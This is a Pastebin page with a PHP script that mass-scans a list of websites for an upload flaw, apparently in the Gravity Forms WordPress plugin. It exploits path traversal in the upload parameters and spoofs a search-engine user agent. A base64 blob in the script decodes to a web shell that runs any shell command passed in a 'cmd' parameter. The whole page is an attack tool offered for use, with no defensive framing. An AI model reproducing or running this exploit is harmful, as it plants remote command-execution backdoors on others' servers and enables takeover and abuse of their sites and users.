Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /* Coded by lastc0de
- Thx To Shor7cut & TU5BOLED - Pak Haxor
- How To Use
- ex : C>php this.php listurl.txt
- listurl.txt with http://
- */
- $getfile=@file_get_contents($argv[1]);
- $pecah=explode("\r\n",$getfile);
- foreach ($pecah as $links){
- print "[+]Scaning : $links\n";
- pwn($links);
- }
- function pwn($site){
- $data = "PHByZT48P3BocCBpZigkX0dFVFsiY21kIl0pe2VjaG8gc2hlbGxfZXhlYygkX0dFVFsiY21kIl0pO30g
- Pz48L3ByZT4=";
- $vuln = "/?gf_page=upload";
- $urlex=($site).($vuln);
- $useragent = "msnbot/1.0 (+http://search.msn.com/msnbot.htm)";
- $post = "".base64_decode($data)."&field_id=kntl&form_id=1&gform_unique_id=../../../../&name=.php.";
- $ch = curl_init($urlex);
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
- curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- $postResult = curl_exec($ch);
- if (eregi("ok",$postResult)){
- print "[+]Uploaded Filename\n";
- }else{
- print "[-]Not Vulnerable\n";
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment